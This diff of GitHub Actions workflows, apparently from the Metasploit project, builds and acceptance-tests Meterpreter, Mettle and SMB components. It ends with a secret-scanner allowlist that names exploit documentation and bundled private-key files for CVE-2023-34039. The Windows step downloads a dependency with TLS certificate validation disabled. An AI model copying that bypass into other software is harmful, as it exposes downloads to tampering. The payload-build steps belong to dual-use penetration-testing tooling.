- { meterpreter: { name: windows_meterpreter }, os: windows-2022 }
|
||||
|
||||
# Mettle
|
||||
- { meterpreter: { name: mettle }, os: macos-13 }
|
||||
- { meterpreter: { name: mettle }, os: ubuntu-20.04 }
|
||||
|
||||
runs-on: ${{ matrix.os }}
|
||||
|
||||
timeout-minutes: 50
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
HOST_RUNNER_IMAGE: ${{ matrix.os }}
|
||||
SESSION: 'meterpreter/${{ matrix.meterpreter.name }}'
|
||||
SESSION_RUNTIME_VERSION: ${{ matrix.meterpreter.runtime_version }}
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
|
||||
name: ${{ matrix.meterpreter.name }} ${{ matrix.meterpreter.runtime_version }} ${{ matrix.os }}
|
||||
steps:
|
||||
- name: Install system dependencies (Linux)
|
||||
if: runner.os == 'Linux'
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- uses: shivammathur/setup-php@c541c155eee45413f5b09a52248675b1a2575231
|
||||
if: ${{ matrix.meterpreter.name == 'php' }}
|
||||
with:
|
||||
php-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
tools: none
|
||||
|
||||
- name: Set up Python
|
||||
if: ${{ matrix.meterpreter.name == 'python' }}
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
|
||||
- uses: actions/setup-java@v4
|
||||
if: ${{ matrix.meterpreter.name == 'java' }}
|
||||
with:
|
||||
distribution: temurin
|
||||
java-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
|
||||
- name: Install system dependencies (Windows)
|
||||
shell: cmd
|
||||
if: runner.os == 'Windows'
|
||||
run: |
|
||||
REM pcap dependencies
|
||||
powershell -Command "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('https://www.winpcap.org/install/bin/WpdPack_4_1_2.zip', 'C:\Windows\Temp\WpdPack_4_1_2.zip')"
|
||||
|
||||
choco install 7zip.installServerCertificateValidationCallback
|
||||
7z x "C:\Windows\Temp\WpdPack_4_1_2.zip" -o"C:\"
|
||||
|
||||
dir C:\\
|
||||
|
||||
dir %WINDIR%
|
||||
type %WINDIR%\\system32\\drivers\\etc\\hosts
|
||||
|
||||
# The job checkout structure is:
|
||||
# .
|
||||
# ├── metasploit-framework
|
||||
# └── metasploit-payloads (Only if the "payload-testing-branch" GitHub label is applied)
|
||||
# └── mettle (Only if the "payload-testing-mettle-branch" GitHub label is applied)
|
||||
- name: Checkout mettle
|
||||
if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }}
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
repository: rapid7/mettle
|
||||
path: mettle
|
||||
ref: ${{ inputs.mettle_commit }}
|
||||
|
||||
- name: Get mettle version
|
||||
if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }}
|
||||
run: echo "METTLE_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" lib/metasploit_payloads/mettle/version.rb)" | tee -a $GITHUB_ENV
|
||||
working-directory: mettle
|
||||
|
||||
- name: Prerequisite mettle gem setup
|
||||
if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }}
|
||||
run: |
|
||||
set -x
|
||||
ruby -pi.bak -e "gsub(/${{ env.METTLE_VERSION }}/, '${{ env.METTLE_VERSION }}-dev')" lib/metasploit_payloads/mettle/version.rb
|
||||
working-directory: mettle
|
||||
|
||||
- name: Compile mettle payloads
|
||||
if: ${{ matrix.meterpreter.name == 'mettle' && runner.os != 'macos' && inputs.build_mettle }}
|
||||
run: |
|
||||
docker run --rm=true --tty --volume=$(pwd):/mettle --workdir=/mettle rapid7/build:mettle rake mettle:build mettle:check
|
||||
rake build
|
||||
working-directory: mettle
|
||||
|
||||
- name: Compile mettle payloads - macOS
|
||||
if: ${{ matrix.meterpreter.name == 'mettle' && runner.os == 'macos' && inputs.build_mettle }}
|
||||
run: |
|
||||
make TARGET=x86_64-apple-darwin
|
||||
rake build
|
||||
working-directory: mettle
|
||||
|
||||
- name: Checkout metasploit-framework commit
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
repository: rapid7/metasploit-framework
|
||||
path: metasploit-framework
|
||||
ref: ${{ inputs.metasploit_framework_commit }}
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
# Required for macos13 pg gem compilation
|
||||
PKG_CONFIG_PATH: "/usr/local/opt/libpq/lib/pkgconfig"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: ${{ matrix.ruby }}
|
||||
bundler-cache: true
|
||||
cache-version: 5
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Move mettle gem into framework
|
||||
if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }}
|
||||
run: |
|
||||
cp ../mettle/pkg/metasploit_payloads-mettle-${{ env.METTLE_VERSION }}.pre.dev.gem .
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
name: Download Java meterpreter
|
||||
id: download_java_meterpreter
|
||||
if: ${{ matrix.meterpreter.name == 'java' && inputs.build_metasploit_payloads }}
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: Extract Java Meterpreter (Unix)
|
||||
if: ${{ matrix.meterpreter.name == 'java' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
|
||||
shell: bash
|
||||
run: |
|
||||
set -x
|
||||
download_path=${{steps.download_java_meterpreter.outputs.download-path}}
|
||||
cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
|
||||
|
||||
- name: Extract Java Meterpreter (Windows)
|
||||
if: ${{ matrix.meterpreter.name == 'java' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
|
||||
shell: bash
|
||||
run: |
|
||||
set -x
|
||||
download_path=$(cygpath -u '${{steps.download_java_meterpreter.outputs.download-path}}')
|
||||
cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
|
||||
|
||||
- name: Install mettle gem
|
||||
if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }}
|
||||
run: |
|
||||
set -x
|
||||
bundle exec gem install metasploit_payloads-mettle-${{ env.METTLE_VERSION }}.pre.dev.gem
|
||||
ruby -pi.bak -e "gsub(/'metasploit_payloads-mettle', '.*'/, '\'metasploit_payloads-mettle\', \'${{ env.METTLE_VERSION }}.pre.dev\'')" metasploit-framework.gemspec
|
||||
bundle config unset deployment
|
||||
bundle update metasploit_payloads-mettle
|
||||
bundle install
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Checkout metasploit-payloads
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
repository: rapid7/metasploit-payloads
|
||||
path: metasploit-payloads
|
||||
ref: ${{ inputs.metasploit_payloads_commit }}
|
||||
|
||||
- name: Get metasploit-payloads version
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: bash
|
||||
run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: gem build ./gem/metasploit-payloads.gemspec
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Copy metasploit-payloads gem into metasploit-framework
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
shell: bash
|
||||
run: cp ../metasploit-payloads/metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem .
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Install metasploit-payloads gem
|
||||
if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
|
||||
run: |
|
||||
bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
|
||||
bundle config unset deployment
|
||||
bundle update metasploit-payloads
|
||||
bundle install
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Build Windows payloads via Visual Studio 2019 Build (Windows)
|
||||
shell: cmd
|
||||
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2019' && inputs.build_metasploit_payloads }}
|
||||
run: |
|
||||
cd c/meterpreter
|
||||
git submodule init && git submodule update
|
||||
"C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build Windows payloads via Visual Studio 2022 Build (Windows)
|
||||
shell: cmd
|
||||
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2022' && inputs.build_metasploit_payloads }}
|
||||
run: |
|
||||
cd c/meterpreter
|
||||
git submodule init && git submodule update
|
||||
make.bat
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build PHP, Python and Windows payloads
|
||||
if: ${{ (matrix.meterpreter.name == 'php' || matrix.meterpreter.name == 'python' || runner.os == 'Windows') && inputs.build_metasploit_payloads }}
|
||||
run: |
|
||||
make install-php install-python install-windows
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/meterpreter_spec.rb
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: raw-data-${{ matrix.meterpreter.name }}-${{ matrix.meterpreter.runtime_version }}-${{ matrix.os }}
|
||||
path: metasploit-framework/tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs: [test]
|
||||
runs-on: ubuntu-latest
|
||||
if: always() && needs.test.result != 'skipped'
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
with:
|
||||
repository: rapid7/metasploit-framework
|
||||
ref: ${{ inputs.metasploit_framework_commit }}
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '3.3'
|
||||
bundler-cache: true
|
||||
cache-version: 5
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: raw_report_data
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.raw_report_data.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.raw_report_data.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.raw_report_data.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.raw_report_data.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,185 @@
|
||||
name: Shared SMB Acceptance
|
||||
on:
|
||||
workflow_call:
|
||||
inputs:
|
||||
# Defaults set as '' will use the current branch as their commit
|
||||
metasploit_framework_commit:
|
||||
description: "metasploit-framework commit to build with"
|
||||
default: ''
|
||||
required: false
|
||||
type: string
|
||||
build_smb:
|
||||
description: "Whether or not to build ruby_smb"
|
||||
default: false
|
||||
required: false
|
||||
type: boolean
|
||||
|
||||
jobs:
|
||||
smb:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
SMB_USERNAME: acceptance_tests_user
|
||||
SMB_PASSWORD: acceptance_tests_password
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
name: SMB Acceptance - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
# The job checkout structure is:
|
||||
# .
|
||||
# ├── metasploit-framework
|
||||
# └── ruby_smb
|
||||
- name: Checkout ruby_smb
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
repository: rapid7/ruby_smb
|
||||
path: ruby_smb
|
||||
|
||||
- name: Get ruby_smb version
|
||||
if: ${{ inputs.build_smb }}
|
||||
run: |
|
||||
echo "RUBY_SMB_VERSION=$(grep -oh '[0-9].[0-9].[0-9]*' lib/ruby_smb/version.rb)" | tee -a $GITHUB_ENV
|
||||
working-directory: ruby_smb
|
||||
|
||||
- name: Build ruby_smb gem
|
||||
if: ${{ inputs.build_smb }}
|
||||
run: |
|
||||
gem build ruby_smb.gemspec
|
||||
working-directory: ruby_smb
|
||||
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout metasploit-framework code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
repository: rapid7/metasploit-framework
|
||||
path: metasploit-framework
|
||||
ref: ${{ inputs.metasploit_framework_commit }}
|
||||
|
||||
- name: Run docker container
|
||||
working-directory: 'metasploit-framework'
|
||||
run: |
|
||||
cd test/smb
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
working-directory: 'metasploit-framework'
|
||||
|
||||
- name: Copy ruby_smb gem into metasploit-framework
|
||||
if: ${{ inputs.build_smb }}
|
||||
run: |
|
||||
cp ../ruby_smb/ruby_smb-${{ env.RUBY_SMB_VERSION }}.gem .
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Install ruby_smb gem
|
||||
if: ${{ inputs.build_smb }}
|
||||
run: |
|
||||
bundle exec gem install ruby_smb-${{ env.RUBY_SMB_VERSION }}.gem
|
||||
bundle config unset deployment
|
||||
bundle update ruby_smb
|
||||
bundle install
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: 'latest'
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/smb_spec.rb
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: smb_acceptance-${{ matrix.os }}
|
||||
path: metasploit-framework/tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- smb
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
repository: rapid7/metasploit-framework
|
||||
path: metasploit-framework
|
||||
ref: ${{ inputs.metasploit_framework_commit }}
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
working-directory: metasploit-framework
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,46 @@
|
||||
name: SMB Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**smb**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
build:
|
||||
uses: ./.github/workflows/shared_smb_acceptance.yml
|
||||
@@ -33,15 +33,11 @@ jobs:
|
||||
name: Docker Build
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: docker-compose build
|
||||
run: |
|
||||
curl -L https://github.com/docker/compose/releases/download/1.22.0/docker-compose-`uname -s`-`uname -m` > docker-compose
|
||||
chmod +x docker-compose
|
||||
sudo mv docker-compose /usr/bin
|
||||
|
||||
/usr/bin/docker-compose build
|
||||
docker compose build
|
||||
|
||||
test:
|
||||
runs-on: ${{ matrix.os }}
|
||||
@@ -64,19 +60,17 @@ jobs:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.0'
|
||||
- '3.1'
|
||||
- '3.2'
|
||||
- '3.3.0-preview3'
|
||||
- '3.3'
|
||||
- '3.4.0-preview2'
|
||||
os:
|
||||
- ubuntu-20.04
|
||||
- ubuntu-latest
|
||||
exclude:
|
||||
- { os: ubuntu-latest, ruby: '3.0' }
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
ruby: '3.1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" DATASTORE_FALLBACKS=1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
|
||||
@@ -86,6 +80,7 @@ jobs:
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
|
||||
name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} - ${{ matrix.test_cmd }}
|
||||
steps:
|
||||
@@ -93,11 +88,10 @@ jobs:
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
06da60cade4d9a7aebf265a76a4e5b0a8636ee6a:documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2024_21683.md:73
|
||||
06da60cade4d9a7aebf265a76a4e5b0a8636ee6a:documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2024_21683.md:76
|
||||
06da60cade4d9a7aebf265a76a4e5b0a8636ee6a:documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2024_21683.md:119
|
||||
deabf9b1d846e4ced5dca20be5e21e8732762889:documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2023_22527.md:16
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.1.0_platform:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.2.0_platform:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.10.0_collector:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.0.0_platform:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.7.0_platform:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.6.0_collector:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.9.0_collector:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.9.0_platform:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.0.0_proxy:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.7.0_collector:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.8.0_collector:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.4.0_platform:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.5.0_collector:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.3.0_platform:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.5.0_platform:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.8.0_platform:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.6.0_collector:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.10.0_platform:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.1.0_proxy:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.4.0_collector:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.2.0_collector:1
|
||||
b3b1595ef4046f4923109e44f7d113ed0f45e079:data/exploits/CVE-2023-34039/id_rsa_vnera_keypair_6.3.0_collector:1
|
||||
58f9a39f72c623ab337a6768b34dc32f06d8ae67:documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md:60
|
||||
686d704b371da3545f21b281b4ee29f3863cd3b7:documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md:57
|
||||
686d704b371da3545f21b281b4ee29f3863cd3b7:documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md:57
|
||||
619a46d45081c09c661da37a1b3665d8f82bc8d1:documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md:58
|
||||
619a46d45081c09c661da37a1b3665d8f82bc8d1:documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md:58
|
||||
619a46d45081c09c661da37a1b3665d8f82bc8d1:documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md:58
|
||||
619a46d45081c09c661da37a1b3665d8f82bc8d1:documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md:65
|
||||
e34ed10eca5b01a5d19ee6465eb0f336af5d77a4:documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md:86
|
||||
e34ed10eca5b01a5d19ee6465eb0f336af5d77a4:documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md:86
|
||||
e34ed10eca5b01a5d19ee6465eb0f336af5d77a4:documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md:86
|
||||
e34ed10eca5b01a5d19ee6465eb0f336af5d77a4:documentation/modules/exploit/linux/http/apache_superset_cookie_sig_rce.md:93
|
||||
94657d317ba4ecaa7f58bfc227b7e4a0bbec167e:data/wordlists/flask_secret_keys.txt:7642
|
||||
94657d317ba4ecaa7f58bfc227b7e4a0bbec167e:data/wordlists/flask_secret_keys.txt:8471
|
||||
94657d317ba4ecaa7f58bfc227b7e4a0bbec167e:data/wordlists/flask_secret_keys.txt:8472
|
||||
94657d317ba4ecaa7f58bfc227b7e4a0bbec167e:documentation/modules/auxiliary/gather/apache_superset_cookie_sig_priv_esc.md:75
|
||||
94657d317ba4ecaa7f58bfc227b7e4a0bbec167e:documentation/modules/auxiliary/gather/apache_superset_cookie_sig_priv_esc.md:75
|
||||
94657d317ba4ecaa7f58bfc227b7e4a0bbec167e:documentation/modules/auxiliary/gather/apache_superset_cookie_sig_priv_esc.md:75
|
||||
94657d317ba4ecaa7f58bfc227b7e4a0bbec167e:documentation/modules/auxiliary/gather/apache_superset_cookie_sig_priv_esc.md:77
|
||||
94657d317ba4ecaa7f58bfc227b7e4a0bbec167e:documentation/modules/auxiliary/gather/apache_superset_cookie_sig_priv_esc.md:77
|
||||
